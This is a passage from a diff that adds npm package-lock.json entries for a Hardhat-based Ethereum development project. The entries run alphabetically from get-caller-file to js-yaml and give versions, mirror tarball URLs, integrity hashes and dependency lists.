"https://registry.npmmirror.com/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true + }, + "get-func-name": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/get-func-name/-/get-func-name-2.0.0.tgz", + "integrity": "sha512-Hm0ixYtaSZ/V7C8FJrtZIuBBI+iSgL+1Aq82zSu8VQNB4S3Gk8e7Qs3VwBDJAhmRZcFqkl3tQu36g/Foh5I5ig==", + "dev": true, + "peer": true + }, + "get-intrinsic": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.1.3.tgz", + "integrity": "sha512-QJVz1Tj7MS099PevUG5jvnt9tSkXN8K14dxQlikJuPt4uD9hHAHjLyLBiLR5zELelBdD9QNRAXZzsJx0WaDL9A==", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.3" + } + }, + "get-port": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/get-port/-/get-port-3.2.0.tgz", + "integrity": "sha512-x5UJKlgeUiNT8nyo/AcnwLnZuZNcSjSw0kogRB+Whd1fjjFq4B1hySFxSFWWSn4mIBzg3sRNUDFYc4g5gjPoLg==", + "dev": true, + "peer": true + }, + "get-symbol-description": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/get-symbol-description/-/get-symbol-description-1.0.0.tgz", + "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + } + }, + "getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmmirror.com/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==", + "dev": true, + "peer": true, + "requires": { + "assert-plus": "^1.0.0" + } + }, + "ghost-testrpc": { + "version": "0.0.2", + "resolved": "https://registry.npmmirror.com/ghost-testrpc/-/ghost-testrpc-0.0.2.tgz", + "integrity": "sha512-i08dAEgJ2g8z5buJIrCTduwPIhih3DP+hOCTyyryikfV8T0bNvHnGXO67i0DD1H4GBDETTclPy9njZbfluQYrQ==", + "dev": true, + "peer": true, + "requires": { + "chalk": "^2.4.2", + "node-emoji": "^1.10.0" + } + }, + "glob": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "global-modules": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/global-modules/-/global-modules-2.0.0.tgz", + "integrity": "sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==", + "dev": true, + "peer": true, + "requires": { + "global-prefix": "^3.0.0" + } + }, + "global-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/global-prefix/-/global-prefix-3.0.0.tgz", + "integrity": "sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==", + "dev": true, + "peer": true, + "requires": { + "ini": "^1.3.5", + "kind-of": "^6.0.2", + "which": "^1.3.1" + } + }, + "globby": { + "version": "10.0.2", + "resolved": "https://registry.npmmirror.com/globby/-/globby-10.0.2.tgz", + "integrity": "sha512-7dUi7RvCoT/xast/o/dLN53oqND4yk0nsHkhRgn9w65C4PofCLOoJ39iSOg+qVDdWQPIEj+eszMHQ+aLVwwQSg==", + "dev": true, + "peer": true, + "requires": { + "@types/glob": "^7.1.1", + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.0.3", + "glob": "^7.1.3", + "ignore": "^5.1.1", + "merge2": "^1.2.3", + "slash": "^3.0.0" + } + }, + "graceful-fs": { + "version": "4.2.10", + "resolved": "https://registry.npmmirror.com/graceful-fs/-/graceful-fs-4.2.10.tgz", + "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==", + "dev": true + }, + "growl": { + "version": "1.10.5", + "resolved": "https://registry.npmmirror.com/growl/-/growl-1.10.5.tgz", + "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", + "dev": true, + "peer": true + }, + "handlebars": { + "version": "4.7.7", + "resolved": "https://registry.npmmirror.com/handlebars/-/handlebars-4.7.7.tgz", + "integrity": "sha512-aAcXm5OAfE/8IXkcZvCepKU3VzW1/39Fb5ZuqMtgI/hT8X2YgoMvBY5dLhq/cpOvw7Lk1nK/UF71aLG/ZnVYRA==", + "dev": true, + "peer": true, + "requires": { + "minimist": "^1.2.5", + "neo-async": "^2.6.0", + "source-map": "^0.6.1", + "uglify-js": "^3.1.4", + "wordwrap": "^1.0.0" + } + }, + "har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==", + "dev": true, + "peer": true + }, + "har-validator": { + "version": "5.1.5", + "resolved": "https://registry.npmmirror.com/har-validator/-/har-validator-5.1.5.tgz", + "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", + "dev": true, + "peer": true, + "requires": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + } + }, + "hardhat": { + "version": "2.11.2", + "resolved": "https://registry.npmjs.org/hardhat/-/hardhat-2.11.2.tgz", + "integrity": "sha512-BdsXC1CFJQDJKmAgCwpmGhFuVU6dcqlgMgT0Kg/xmFAFVugkpYu6NRmh4AaJ3Fah0/BR9DOR4XgQGIbg4eon/Q==", + "dev": true, + "requires": { + "@ethersproject/abi": "^5.1.2", + "@metamask/eth-sig-util": "^4.0.0", + "@nomicfoundation/ethereumjs-block": "^4.0.0", + "@nomicfoundation/ethereumjs-blockchain": "^6.0.0", + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-evm": "^1.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-statemanager": "^1.0.0", + "@nomicfoundation/ethereumjs-trie": "^5.0.0", + "@nomicfoundation/ethereumjs-tx": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "@nomicfoundation/ethereumjs-vm": "^6.0.0", + "@nomicfoundation/solidity-analyzer": "^0.0.3", + "@sentry/node": "^5.18.1", + "@types/bn.js": "^5.1.0", + "@types/lru-cache": "^5.1.0", + "abort-controller": "^3.0.0", + "adm-zip": "^0.4.16", + "aggregate-error": "^3.0.0", + "ansi-escapes": "^4.3.0", + "chalk": "^2.4.2", + "chokidar": "^3.4.0", + "ci-info": "^2.0.0", + "debug": "^4.1.1", + "enquirer": "^2.3.0", + "env-paths": "^2.2.0", + "ethereum-cryptography": "^1.0.3", + "ethereumjs-abi": "^0.6.8", + "find-up": "^2.1.0", + "fp-ts": "1.19.3", + "fs-extra": "^7.0.1", + "glob": "7.2.0", + "immutable": "^4.0.0-rc.12", + "io-ts": "1.10.4", + "keccak": "^3.0.2", + "lodash": "^4.17.11", + "mnemonist": "^0.38.0", + "mocha": "^10.0.0", + "p-map": "^4.0.0", + "qs": "^6.7.0", + "raw-body": "^2.4.1", + "resolve": "1.17.0", + "semver": "^6.3.0", + "solc": "0.7.3", + "source-map-support": "^0.5.13", + "stacktrace-parser": "^0.1.10", + "tsort": "0.0.1", + "undici": "^5.4.0", + "uuid": "^8.3.2", + "ws": "^7.4.6" + } + }, + "hardhat-gas-reporter": { + "version": "1.0.9", + "resolved": "https://registry.npmmirror.com/hardhat-gas-reporter/-/hardhat-gas-reporter-1.0.9.tgz", + "integrity": "sha512-INN26G3EW43adGKBNzYWOlI3+rlLnasXTwW79YNnUhXPDa+yHESgt639dJEs37gCjhkbNKcRRJnomXEuMFBXJg==", + "dev": true, + "peer": true, + "requires": { + "array-uniq": "1.0.3", + "eth-gas-reporter": "^0.2.25", + "sha1": "^1.1.1" + } + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-bigints": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-bigints/-/has-bigints-1.0.2.tgz", + "integrity": "sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==", + "dev": true, + "peer": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true + }, + "has-property-descriptors": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz", + "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==", + "dev": true, + "peer": true, + "requires": { + "get-intrinsic": "^1.1.1" + } + }, + "has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "dev": true + }, + "has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, + "peer": true, + "requires": { + "has-symbols": "^1.0.2" + } + }, + "hash-base": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/hash-base/-/hash-base-3.1.0.tgz", + "integrity": "sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA==", + "dev": true, + "requires": { + "inherits": "^2.0.4", + "readable-stream": "^3.6.0", + "safe-buffer": "^5.2.0" + } + }, + "hash.js": { + "version": "1.1.7", + "resolved": "https://registry.npmmirror.com/hash.js/-/hash.js-1.1.7.tgz", + "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.1" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true + }, + "heap": { + "version": "0.2.7", + "resolved": "https://registry.npmmirror.com/heap/-/heap-0.2.7.tgz", + "integrity": "sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==", + "dev": true, + "peer": true + }, + "hmac-drbg": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/hmac-drbg/-/hmac-drbg-1.0.1.tgz", + "integrity": "sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg==", + "dev": true, + "requires": { + "hash.js": "^1.0.3", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.1" + } + }, + "http-basic": { + "version": "8.1.3", + "resolved": "https://registry.npmmirror.com/http-basic/-/http-basic-8.1.3.tgz", + "integrity": "sha512-/EcDMwJZh3mABI2NhGfHOGOeOZITqfkEO4p/xK+l3NpyncIHUQBoMvCSF/b5GqvKtySC2srL/GGG3+EtlqlmCw==", + "dev": true, + "peer": true, + "requires": { + "caseless": "^0.12.0", + "concat-stream": "^1.6.2", + "http-response-object": "^3.0.1", + "parse-cache-control": "^1.0.1" + } + }, + "http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dev": true, + "requires": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + } + }, + "http-response-object": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/http-response-object/-/http-response-object-3.0.2.tgz", + "integrity": "sha512-bqX0XTF6fnXSQcEJ2Iuyr75yVakyjIDCqroJQ/aHfSdlM743Cwqoi2nDYMzLGWUcuTWGWy8AAvOKXTfiv6q9RA==", + "dev": true, + "peer": true, + "requires": { + "@types/node": "^10.0.3" + }, + "dependencies": { + "@types/node": { + "version": "10.17.60", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-10.17.60.tgz", + "integrity": "sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw==", + "dev": true, + "peer": true + } + } + }, + "http-signature": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==", + "dev": true, + "peer": true, + "requires": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + } + }, + "https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "requires": { + "agent-base": "6", + "debug": "4" + } + }, + "iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmmirror.com/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dev": true, + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true + }, + "ignore": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "dev": true, + "peer": true + }, + "immutable": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/immutable/-/immutable-4.1.0.tgz", + "integrity": "sha512-oNkuqVTA8jqG1Q6c+UglTOD1xhC1BtjKI7XkCXRkZHrN5m18/XsnUp8Q89GkQO/z+0WjonSvl0FLhDYftp46nQ==", + "dev": true + }, + "indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true + }, + "inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "ini": { + "version": "1.3.8", + "resolved": "https://registry.npmmirror.com/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true, + "peer": true + }, + "internal-slot": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/internal-slot/-/internal-slot-1.0.3.tgz", + "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==", + "dev": true, + "peer": true, + "requires": { + "get-intrinsic": "^1.1.0", + "has": "^1.0.3", + "side-channel": "^1.0.4" + } + }, + "interpret": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/interpret/-/interpret-1.4.0.tgz", + "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==", + "dev": true, + "peer": true + }, + "io-ts": { + "version": "1.10.4", + "resolved": "https://registry.npmmirror.com/io-ts/-/io-ts-1.10.4.tgz", + "integrity": "sha512-b23PteSnYXSONJ6JQXRAlvJhuw8KOtkqa87W4wDtvMrud/DTJd5X+NpOOI+O/zZwVq6v0VLAaJ+1EDViKEuN9g==", + "dev": true, + "requires": { + "fp-ts": "^1.0.0" + } + }, + "is-bigint": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dev": true, + "peer": true, + "requires": { + "has-bigints": "^1.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-boolean-object": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + } + }, + "is-buffer": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", + "dev": true + }, + "is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmmirror.com/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "dev": true, + "peer": true + }, + "is-date-object": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/is-date-object/-/is-date-object-1.0.5.tgz", + "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dev": true, + "peer": true, + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true + }, + "is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-hex-prefixed": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/is-hex-prefixed/-/is-hex-prefixed-1.0.0.tgz", + "integrity": "sha512-WvtOiug1VFrE9v1Cydwm+FnXd3+w9GaeVUss5W4v/SLy3UW00vP+6iNF2SdnfiBoLy4bTqVdkftNGTUeOFVsbA==", + "dev": true + }, + "is-negative-zero": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/is-negative-zero/-/is-negative-zero-2.0.2.tgz", + "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA==", + "dev": true, + "peer": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "is-number-object": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/is-number-object/-/is-number-object-1.0.7.tgz", + "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==", + "dev": true, + "peer": true, + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "dev": true + }, + "is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + } + }, + "is-shared-array-buffer": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz", + "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2" + } + }, + "is-string": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/is-string/-/is-string-1.0.7.tgz", + "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dev": true, + "peer": true, + "requires": { + "has-tostringtag": "^1.0.0" + } + }, + "is-symbol": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/is-symbol/-/is-symbol-1.0.4.tgz", + "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dev": true, + "peer": true, + "requires": { + "has-symbols": "^1.0.2" + } + }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==", + "dev": true, + "peer": true + }, + "is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmmirror.com/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true + }, + "is-weakref": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/is-weakref/-/is-weakref-1.0.2.tgz", + "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2" + } + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "dev": true, + "peer": true + }, + "isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "peer": true + }, + "isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==", + "dev": true, + "peer": true + }, + "js-sha3": { + "version": "0.8.0", + "resolved": "https://registry.npmmirror.com/js-sha3/-/js-sha3-0.8.0.tgz", + "integrity": "sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q==", + "dev": true + }, + "js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "requires": { + "argparse": 